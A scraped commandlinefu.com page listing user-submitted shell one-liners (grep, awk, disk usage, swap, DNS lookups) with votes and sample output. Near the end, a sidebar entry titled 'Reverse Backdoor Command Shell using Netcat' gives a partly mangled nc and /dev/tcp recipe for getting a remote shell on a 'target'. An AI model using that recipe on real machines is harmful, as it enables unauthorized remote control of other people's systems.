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Edit all files found having a specific string found by grep

This will drop you into vim to edit all files that contain your grep string.
This is sample output - yours may be different.
0

grep -ir 'foo' * | awk '{print $1}' | sed -e 's/://' | xargs vim

elubow · 2009-09-03 15:12:27 3
How far is Mac OS X 10.6 from 64-bit?

Next time you see a mac fanboy bragging about 64-bitness of 10.6 give him this so he might sh? Show Sample Output
This is sample output - yours may be different.
```
   127	Mach-O 64-bit kext bundle x86_64
   314	Mach-O object i386
```
-1

file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -i x86_64 |nl |tail -1 |cut -f1 -f3 && file /System/Library/Extensions/*.kext/Contents/MacOS/* |grep -v x86_64 |nl |tail -1 |cut -f1 -f3

commandlinefu · 2009-09-03 14:28:02 6

Ultimate current directory usage command

biggest->small directories, then biggest->smallest files Show Sample Output

-3

O=$IFS;IFS=$'\n'; D=$(for f in *;do [[ -d $f ]] && du -sh "$f";done | sort -gr);F=$(for f in *;do [[ -f $f ]] && du -sh "$f";done | sort -gr);IFS=$O;echo "$D";echo "$F"

Viperlin · 2009-09-03 11:39:50 6

Sort a character string

another possibility
This is sample output - yours may be different.
0

echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n'

foob4r · 2009-09-03 10:37:57 3
When was your OS installed?

Show time and date when you installed your OS. Show Sample Output
This is sample output - yours may be different.
```
$ ls -lct /etc | tail -1 | awk '{print $6, $7}'
2009-08-25 13:25
```
10

ls -lct /etc | tail -1 | awk '{print $6, $7}'

MrMerry · 2009-09-03 10:26:37 13
Sort a character string

using awk missed the last char thanks @Josay Show Sample Output
This is sample output - yours may be different.
```
aeeelmoprsst
```
-1

echo sortmeplease | awk '{l=split($1,a,"");asort(a);while(x<=l){printf "%s",a[x];x++ }print "";}'

foob4r · 2009-09-03 10:22:39 4
Let your computer lull you to sleep

Can change language and speed, see espeak man page for options. (Install espeak in your linux distro via yum or apt-get) For insomniacs you may need to enclose in a while true; do ...; done loop ;) Show Sample Output
This is sample output - yours may be different.
```
1 sheep, 2 sheep, 3 sheep, ...

ZZZZZzzzzzzzzzz...
```
7

echo {1..199}" sheep," | espeak -v english -s 80

MrMerry · 2009-09-03 10:08:12 7
Create a large test file (taking no space).
This is sample output - yours may be different.
5

dd bs=1 seek=2TB if=/dev/null of=ext3.test

Superhuman · 2009-09-03 08:35:20 3
Ultimate current directory usage command

use manpages, they give you "ultimate commands" "ls -SshF --color" list by filesize (biggest at the top) "ls -SshFr --color" list by filesize in reverse order (biggest at the bottom) Show Sample Output
This is sample output - yours may be different.
```
> ls
total 24K
4.0K css/  4.0K images/  8.0K index.html  8.0K index.html~
```
-3

ls -shF --color

Viperlin · 2009-09-03 05:45:33 9
Add user to group on OS X 10.5

adding users to groups on OS X is not a straightforward process, you need to use the new in built in Directory Service command line utility...
This is sample output - yours may be different.
0

sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username

kulor · 2009-09-03 04:40:10 3
Sort a character string

Sorts a character string, using common shell commands. Show Sample Output
This is sample output - yours may be different.
```
$ echo sortmeplease | grep -o . | sort | tr -d '\n'; echo
aeeelmoprsst
```
1

echo sortmeplease | grep -o . | sort | tr -d '\n'; echo

MrMerry · 2009-09-03 00:52:49 28
floating point operations in shell scripts

using bc is for sissies. dc is much better :-D Polish notation will rule the world... Show Sample Output
This is sample output - yours may be different.
```
.60000
```
2

echo "5 k 3 5 / p" | dc

xamaco · 2009-09-03 00:21:54 3
Cleanup firefox's database.

For Mac OS X users only
This is sample output - yours may be different.
1

find ~/Library/Application\ Support/Firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;

stanishjohnd · 2009-09-02 23:12:13 3

List of reverse DNS records for a subnet

This command uses nmap to perform reverse DNS lookups on a subnet. It produces a list of IP addresses with the corresponding PTR record for a given subnet. You can enter the subnet in CDIR notation (i.e. /24 for a Class C)). You could add "--dns-servers x.x.x.x" after the "-sL" if you need the lookups to be performed on a specific DNS server. On some installations nmap needs sudo I believe. Also I hope awk is standard on most distros. Show Sample Output

nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('

netsaint · 2009-09-02 16:33:15 5

floating point operations in shell scripts

-l auto-selects many more digits (but you can round/truncate in your head, right) plus it loads a few math functions like sin(). Show Sample Output
This is sample output - yours may be different.
```
.56464247339503535720
```
3

bc -l <<< s(3/5)

akg240 · 2009-09-02 15:41:39 9
list all hd partitions

Only one command and not dependant on full read access to the devices. Show Sample Output
This is sample output - yours may be different.
```
sda1
sda2
sda3
sda5
sda6
sda7
sda8
sda9
sdb1
```
3

awk '/d.[0-9]/{print $4}' /proc/partitions

akg240 · 2009-09-02 15:26:03 6
list all hd partitions

Show Sample Output
This is sample output - yours may be different.
```
hdc1
hdc2
hdc5
hdd1
hdd2
hdd5
```
0

fdisk -l |grep -e '^/' |awk '{print $1}'|sed -e "s|/dev/||g"

opexxx · 2009-09-02 13:03:04 3
Today's date on a yearly calendar...

Show today date on a yearly calendar.
This is sample output - yours may be different.
-1

cal -y

andrepuel · 2009-09-02 12:57:23 50
free swap

simple way to show free swap Show Sample Output
This is sample output - yours may be different.
```
2979
```
-2

free -m | awk '/Swap/ {print $4}'

voyeg3r · 2009-09-02 11:46:17 3
free swap

free swap
This is sample output - yours may be different.
0

free -b | grep "Swap:" | sed 's/ * / /g' | cut -d ' ' -f2

opexxx · 2009-09-02 07:16:34 39
to see about php configure

see about php install configure Show Sample Output
This is sample output - yours may be different.
```
/usr/bin/php -i | grep configure
```
1

$php_dir/bin/php -i | grep configure

Yousri · 2009-09-02 06:44:12 3
Cleanup firefox's database.
This is sample output - yours may be different.
18

find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;

grokskookum · 2009-09-01 21:45:46 10
dig this
This is sample output - yours may be different.
-1

for dnsREC in $(curl -s http://www.iana.org/assignments/dns-parameters |grep -Eo ^[A-Z\.]+\ |sed 's/TYPE//'); do echo -n "$dnsREC " && dig +short $dnsREC IANA.ORG; done

commandlinefu · 2009-09-01 03:11:18 3
Reinstall Grub
This is sample output - yours may be different.
2

sudo grub-install --recheck /dev/sda1

theIndianMaiden · 2009-09-01 02:06:28 16
find files containing text

I find this format easier to read if your going through lots of files. This way you can open the file in any editor and easily review the file
This is sample output - yours may be different.
1

grep -lir "sometext" * > sometext_found_in.log

shaiss · 2009-08-31 23:48:45 3
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What's this?

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Set a posix shell to echo all commands that it's about to execute, after all expansions have been done.

the 'set -x' mode can be exited by typing $ set +x

Remove all zero size files from current directory (not recursive)

check open ports without netstat or lsof

draw honeycomb

$ tput setaf 1 && tput rev && seq -ws "___|" 81|fold -69|tr "0-9" "_" && tput sgr0 $ $ # (brick wall)

Backup all starred repositories from Github

Install pip with Proxy

Installs pip packages defining a proxy

Get creation date of a file on ext2-3-4 fs

Return the creation date of a file on ext2, 3, 4 filesystems, because stat command won't show it. Useful on ubuntu, debian, and else

Use lynx to run repeating website actions

This command will tell lynx to read keystrokes from the specified file - which can be used in a cronjob to auto-login on websites that give you points for logging in once a day *cough cough* (which is why I used -accept_all_cookies). For creating your keystroke file, use: $ lynx -cmd_log yourfile

Reverse Backdoor Command Shell using Netcat

This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

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